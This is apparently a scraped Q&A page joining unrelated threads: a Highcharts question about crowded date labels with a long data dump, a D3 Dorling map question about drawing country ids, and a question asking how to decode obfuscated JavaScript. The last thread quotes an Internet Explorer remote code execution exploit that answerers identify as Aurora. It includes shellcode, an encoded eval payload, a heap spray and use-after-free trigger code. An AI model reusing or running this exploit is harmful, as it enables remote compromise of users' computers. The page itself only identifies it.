47.6564885496183, 33.7142857142857, 39.0023419203747, 40.026936026936, 26.2127659574468, 24.9019607843137], "showInLegend": true}, {"name": "Banana", "data": [0.0, 2.0, -5.0, 4.0, 0.0, 1.0, -1.0, 5.0, 4.0, 8.2258064516129, 2.0, -5.0, 2.0, 4.0, 3.0, -3.0, -5.0, 7.526315789473699, 5.0, 2.0, 3.0, 3.0, -3.0, 4.0, -1.0, 6.61290322580645, -3.0, 3.0, 5.0, 0.0, -5.0, -3.0, 0.0, 0.0, -5.0, -1.0, -3.0, 3.0, -3.0, 2.0, 4.0, -2.9010989010988997, 3.0, -2.0, 2.0, 3.0, 0.934579439252336, 2.0, -2.0, -5.0, 0.0, 5.0, -1.0, -3.0, -5.0, -1.159663865546218, 4.0, 5.0, -1.3103448275862069, -2.0, -0.25373134328358204, -4.0, 5.0, 4.0, 2.0, 1.0, -0.678456591639871, 5.0, 4.0, -2.7084548104956268, -4.0, 0.255754475703325, 2.272479564032698, -2.553571428571429, 5.261780104712042, -3.0, -4.0, -0.7512437810945269, -0.367088607594937, 2.561797752808989, 5.0, -4.0, -2.0, -2.663299663299663, -0.640287769784173, 2.755667506297229, 1.993377483443709, -1.33993399339934, -1.358974358974359, -2.514563106796116, 1.60790273556231, 5.0, -3.230769230769231, 2.503778337531486, 0.86335403726708, 4.943396226415094, 5.512880562060889, 5.703703703703701, 1.4767801857585101, 5.6470588235294095, -1.5757575757575801, 1.4330900243309, 1.00250626566416, 1.96078431372549, -4.2, 1.51515151515152, 4.25, 3.47420147420147, 2.8928571428571432, 2.0, 0.483091787439614, 4.303030303030303, -2.0, 3.0, 0.3003003003003, 0.53061224489796, -4.099099099099099, 2.51413881748072, -3.694189602446483, 0.940438871473354, -0.06323185011709598, -1.5207100591716, 1.619195046439629, 5.0, 0.946372239747634, -2.386503067484663, 3.0, 5.0, 0.613496932515337, -4.271844660194175, 4.928792569659443, 1.24390243902439, -3.698795180722892, -0.371069182389937, -1.04878048780488, -0.373040752351097, -0.07407407407407396, 1.4938271604938271, -2.604743083003953, -2.800796812749004, -3.2, -3.7767584097859297, -3.052132701421801, 0.492610837438424, 5.304878048780488, 1.3125, 1.470588235294118, 0.920245398773006, 3.488997555012225, -4.399399399399399, 3.626959247648903, -2.75669099756691, 3.7190332326284, -4.0, 4.892857142857143, -0.8235294117647101, 3.4792899408283997, -2.099099099099099, 3.0, -3.0, -2.0, -1.0, -0.39759036144578297, 2.0, 3.294985250737463, -4.297423887587822, 0.597014925373134, 4.887573964497041, 4.465116279069767, -2.607843137254902, 4.930232558139535, 3.606060606060606, 2.0, -4.117647058823529, -2.0, 1.0, 3.589970501474926, 5.0, -2.0, 3.0, 3.0, -0.5507246376811601, -2.34939759036145, 0.6511627906976702, -2.42388758782201, -2.84726224783862, 3.18694362017804, -0.9267139479905402, 7.279202279202281, 8.03800475059382, -2.88519637462236, -0.9591836734693899, 2.65486725663717, 11.09090909090909, 2.32265446224256, 0.7034220532319404, 6.2378752886836, 7.823529411764699, 18.5338345864662, 13.3518518518519, 18.6231884057971, 23.6046511627907, 20.3139534883721, 12.23529411764706, 11.10687022900763, 5.81679389312977, 2.71428571428571, -0.36065573770492, 1.1986531986531999, 1.70212765957447, 3.96078431372549], "showInLegend": true}], "chart": {}, "colorAxis": {}, "xAxis": {"categories": ["2000-01-01", "2000-02-01", "2000-03-01", "2000-04-01", "2000-05-01", "2000-06-01", "2000-07-01", "2000-08-01", "2000-09-01", "2000-10-01", "2000-11-01", "2000-12-01", "2001-01-01", "2001-02-01", "2001-03-01", "2001-04-01", "2001-05-01", "2001-06-01", "2001-07-01", "2001-08-01", "2001-09-01", "2001-10-01", "2001-11-01", "2001-12-01", "2002-01-01", "2002-02-01", "2002-03-01", "2002-04-01", "2002-05-01", "2002-06-01", "2002-07-01", "2002-08-01", "2002-09-01", "2002-10-01", "2002-11-01", "2002-12-01", "2003-01-01", "2003-02-01", "2003-03-01", "2003-04-01", "2003-05-01", "2003-06-01", "2003-07-01", "2003-08-01", "2003-09-01", "2003-10-01", "2003-11-01", "2003-12-01", "2004-01-01", "2004-02-01", "2004-03-01", "2004-04-01", "2004-05-01", "2004-06-01", "2004-07-01", "2004-08-01", "2004-09-01", "2004-10-01", "2004-11-01", "2004-12-01", "2005-01-01", "2005-02-01", "2005-03-01", "2005-04-01", "2005-05-01", "2005-06-01", "2005-07-01", "2005-08-01", "2005-09-01", "2005-10-01", "2005-11-01", "2005-12-01", "2006-01-01", "2006-02-01", "2006-03-01", "2006-04-01", "2006-05-01", "2006-06-01", "2006-07-01", "2006-08-01", "2006-09-01", "2006-10-01", "2006-11-01", "2006-12-01", "2007-01-01", "2007-02-01", "2007-03-01", "2007-04-01", "2007-05-01", "2007-06-01", "2007-07-01", "2007-08-01", "2007-09-01", "2007-10-01", "2007-11-01", "2007-12-01", "2008-01-01", "2008-02-01", "2008-03-01", "2008-04-01", "2008-05-01", "2008-06-01", "2008-07-01", "2008-08-01", "2008-09-01", "2008-10-01", "2008-11-01", "2008-12-01", "2009-01-01", "2009-02-01", "2009-03-01", "2009-04-01", "2009-05-01", "2009-06-01", "2009-07-01", "2009-08-01", "2009-09-01", "2009-10-01", "2009-11-01", "2009-12-01", "2010-01-01", "2010-02-01", "2010-03-01", "2010-04-01", "2010-05-01", "2010-06-01", "2010-07-01", "2010-08-01", "2010-09-01", "2010-10-01", "2010-11-01", "2010-12-01", "2011-01-01", "2011-02-01", "2011-03-01", "2011-04-01", "2011-05-01", "2011-06-01", "2011-07-01", "2011-08-01", "2011-09-01", "2011-10-01", "2011-11-01", "2011-12-01", "2012-01-01", "2012-02-01", "2012-03-01", "2012-04-01", "2012-05-01", "2012-06-01", "2012-07-01", "2012-08-01", "2012-09-01", "2012-10-01", "2012-11-01", "2012-12-01", "2013-01-01", "2013-02-01", "2013-03-01", "2013-04-01", "2013-05-01", "2013-06-01", "2013-07-01", "2013-08-01", "2013-09-01", "2013-10-01", "2013-11-01", "2013-12-01", "2014-01-01", "2014-02-01", "2014-03-01", "2014-04-01", "2014-05-01", "2014-06-01", "2014-07-01", "2014-08-01", "2014-09-01", "2014-10-01", "2014-11-01", "2014-12-01", "2015-01-01", "2015-02-01", "2015-03-01", "2015-04-01", "2015-05-01", "2015-06-01", "2015-07-01", "2015-08-01", "2015-09-01", "2015-10-01", "2015-11-01", "2015-12-01", "2016-01-01", "2016-02-01", "2016-03-01", "2016-04-01", "2016-05-01", "2016-06-01", "2016-07-01", "2016-08-01", "2016-09-01", "2016-10-01", "2016-11-01", "2016-12-01", "2017-01-01", "2017-02-01", "2017-03-01", "2017-04-01", "2017-05-01", "2017-06-01", "2017-07-01"]}, "credits": {"enabled": false}, "exporting": {"chartOptions": {"subtitle": null}, "sourceHeight": 900, "sourceWidth": 1600}, "legend": true}
Yet Highcharts renders this like:
Why does it display every single date instead of only showing some like in this example?
I tried changing the format of the dates being returned into a timestamp, used by Javascript's native Date.UTC, but that only makes it look worse:
You can use tickInterval in xAxis.
Here is a working fiddle with your data in it
I am working with this map where I am trying to get the id numbers from the world-110m.json file to be displayed in the circles of the dorling map. The structure of the json file looks like this:
{
"type": "Topology",
"transform": {
"scale": [0.0036000360003600037, 0.0016925586033320111],
"translate": [ - 180, - 85.60903777459777]
},
"objects": {
"land": {
"type": "MultiPolygon",
"arcs": [[[0]], [[1]], [[2]], [[3]], [[4]], [[5]], [[6]], [[7, 8, 9]], [[10, 11]], [[12]], [[13]], [[14]], [[15]], [[16]], [[17]], [[18]], [[19]], [[20]], [[21]], [[22]], [[23]], [[24]], [[25]], [[26]], [[27]], [[28]], [[29, 30]], [[31]], [[32]], [[33]], [[34]], [[35]], [[36]], [[37]], [[38]], [[39]], [[40]], [[41]], [[42, 43]], [[44]], [[45]], [[46]], [[47, 48, 49, 50]], [[51]], [[52]], [[53]], [[54]], [[55]], [[56]], [[57]], [[58]], [[59]], [[60]], [[61]], [[62, 63]], [[64]], [[65]], [[66]], [[67]], [[68]], [[69]], [[70]], [[71]], [[72]], [[73]], [[74]], [[75]], [[76, 77]], [[78]], [[79]], [[80]], [[81]], [[82]], [[83]], [[84]], [[85]], [[86]], [[87]], [[88]], [[89]], [[90, 91]], [[92]], [[93]], [[94]], [[95]], [[96]], [[97]], [[98]], [[99]], [[100]], [[101]], [[102]], [[103]], [[104]], [[105]], [[106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221]], [[222, 223]], [[224]], [[225]], [[226]], [[227]], [[228]], [[229]], [[230, 231, 232, 233]], [[234]], [[235]], [[236]], [[237]], [[238]], [[239]], [[240]], [[241]], [[242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477], [478, 479, 480, 481, 482, 483, 484]], [[485]], [[486]], [[487]], [[488]], [[489]], [[490]], [[491]], [[492]], [[493]], [[494]], [[495]], [[496]], [[497]], [[498]]]
},
"countries": {
"type": "GeometryCollection",
"geometries": [{
"type": "Polygon",
"arcs": [[499, 500, 501, 502, 503, 504]],
"id": 4
}, {
"type": "MultiPolygon",
"arcs": [[[505, 506, 352, 507]], [[354, 508, 509]]],
"id": 24
}, {
"type": "Polygon",
"arcs": [[510, 511, 414, 512, 513, 514]],
"id": 8
}, {
"type": "Polygon",
"arcs": [[312, 515, 314, 516, 517]],
"id": 784
}, {
"type": "MultiPolygon",
"arcs": [[[518, 11]], [[519, 520, 521, 166, 522, 168, 523, 524]]],
"id": 32
}, {
"type": "Polygon",
"arcs": [[525, 526, 527, 528, 529]],
"id": 51
}, {
"type": "MultiPolygon",
"arcs": [[[0]], [[1]], [[2]], [[3]], [[4]], [[5]], [[6]], [[530, 531]]],
"id": 10
}, {
"type": "Polygon",
"arcs": [[13]],
"id": 260
}, {
"type": "MultiPolygon",
"arcs": [[[14]], [[24]]],
"id": 36
}, {
"type": "Polygon",
"arcs": [[532, 533, 534, 535, 536, 537, 538]],
"id": 40
}, etc.
I know that I can access the id like that:
var nbr = "unknown";
try {
nbr = land.geometries[parseInt(d.id)-1].parent.id;
} catch(e) {
console.log("no nbr found for "+d.id);
}
And then return it with all the other variables taken from the world-110m.jsonfile:
return {
nbr:nbr,
x: centroid[0],
y: centroid[1],
ox: centroid[0],
oy: centroid[1],
geometry: d.geometry,
dorling: dorling(d.geometry)
};
But now I don't understand how I can access this variable and draw it into the circles of the dorling map (preferably, only when the circles have a big enough size to "carry" the id number). I have seen this question and this post about how to add country names to a d3 map, but I don't understand how to do this with the map I'm working with. Everything I have tried so far did not work. Could anyone please help me with this? I have added the html file with my additions to this pen. I am sorry it doesn't display anything (I didn't know how to add the required json files to the pen; I simply downloaded them from the source of the map I'm working with and ran everything locally).
Duh, silly me, I forgot to add a svg text element. The below code did it:
svg.selectAll("text")
.data(nodes).enter()
.append("text")
.attr("x", function (d) { return d.x; })
.attr("y", function (d) { return d.y; })
.text(function (d) { return d.nbr; });
The display doesn't look very nice yet, though, but that's going to be another problem...
How can I get the following string readable?
var sc = unescape("
%u9090%u19eb%u4b5b%u3390%u90c9%u7b80%ue901%u0175%u66c3%u7bb9%u8004%u0b34%ue2d8%uebfa%ue805
%uffe2%uffff%u3931%ud8db%u87d8%u79bc%ud8e8%ud8d8%u9853%u53d4%uc4a8%u5375%ud0b0%u2f53%ud7b2 %u3081%udb59%ud8d8%u3a48%ub020%ueaeb%ud8d8%u8db0%ubdab%u8caa%u9e53%u30d4%uda37%ud8d8%u3053
[ .. snip .. ]
%ubcb9%ub2f6%ubfa8%u00d8");
All the code:
var sc = unescape("
%u9090%u19eb%u4b5b%u3390%u90c9%u7b80%ue901%u0175%u66c3%u7bb9%u8004%u0b34%ue2d8%uebfa%ue805
%uffe2%uffff%u3931%ud8db%u87d8%u79bc%ud8e8%ud8d8%u9853%u53d4%uc4a8%u5375%ud0b0%u2f53%ud7b2
%u3081%udb59%ud8d8%u3a48%ub020%ueaeb%ud8d8%u8db0%ubdab%u8caa%u9e53%u30d4%uda37%ud8d8%u3053
[ .. snip .. ]
%ua174%u3ee1%u1c40%uc755%u8fac%ud5be%u9b27%u7466%u4003%uc8d2%u5820%u770e%u2342%ucd8b%ub0be
%uacac%ue2a8%uf7f7%ubdbc%ub7b5%uf6e9%uacbe%ub9a8%ubbbb%uabbd%uf6ab%ubbbb%ubcf7%ub5bd%uf7b7
%ubcb9%ub2f6%ubfa8%u00d8");
var sss = Array(826, 679, 798, 224, 770, 427, 819, 770, 707, 805, 693, 679, 784, 707, 280,
238, 259, 819, 336, 693, 336, 700, 259, 819, 336, 693, 336, 700, 238, 287, 413, 224, 833,
728, 735, 756, 707, 280, 770, 322, 756, 707, 770, 721, 812, 728, 420, 427, 371, 350, 364,
350, 392, 392, 287, 224, 770, 301, 427, 770, 413, 224, 770, 427, 770, 322, 805, 819, 686,
805, 812, 798, 735, 770, 721, 280, 336, 448, 371, 350, 364, 350, 378, 399, 315, 805, 693,
322, 756, 707, 770, 721, 812, 728, 287, 413, 826, 679, 798, 224, 840, 427, 770, 707, 833,
224, 455, 798, 798, 679, 847, 280, 287, 413, 224, 714, 777, 798, 280, 826, 679, 798, 224,
735, 427, 336, 413, 735, 420, 350, 336, 336, 413, 735, 301, 301, 287, 224, 861, 840, 637,
735, 651, 427, 770, 301, 805, 693, 413, 875);
var arr = new Array;
for (var i = 0; i sss.length; i ++ ){
arr[i] = String.fromCharCode(sss[i]/7);
}
var cc=arr.toString();cc=cc.replace(/ ,/ g, "");
cc = cc.replace(/#/g, ",");
eval(cc);
var x1 = new Array();
for (i = 0; i 200; i ++ ){
x1[i] = document.createElement("COMMENT");
x1[i].data = "abc";
}
;
var e1 = null;
function ev1(evt){
e1 = document.createEventObject(evt);
document.getElementById("sp1").innerHTML = "";
window.setInterval(ev2, 50);
}
function ev2(){
p = "
\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d
\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d
\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d";
for (i = 0; i x1.length; i ++ ){
x1[i].data = p;
}
;
var t = e1.srcElement;
}
You can't; it's not meant to be read. You can tell because the codes go all over the map. Most likely it is part of a browser buffer overflow exploit.
It says Internet Explorer remote code execution exploit:
http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/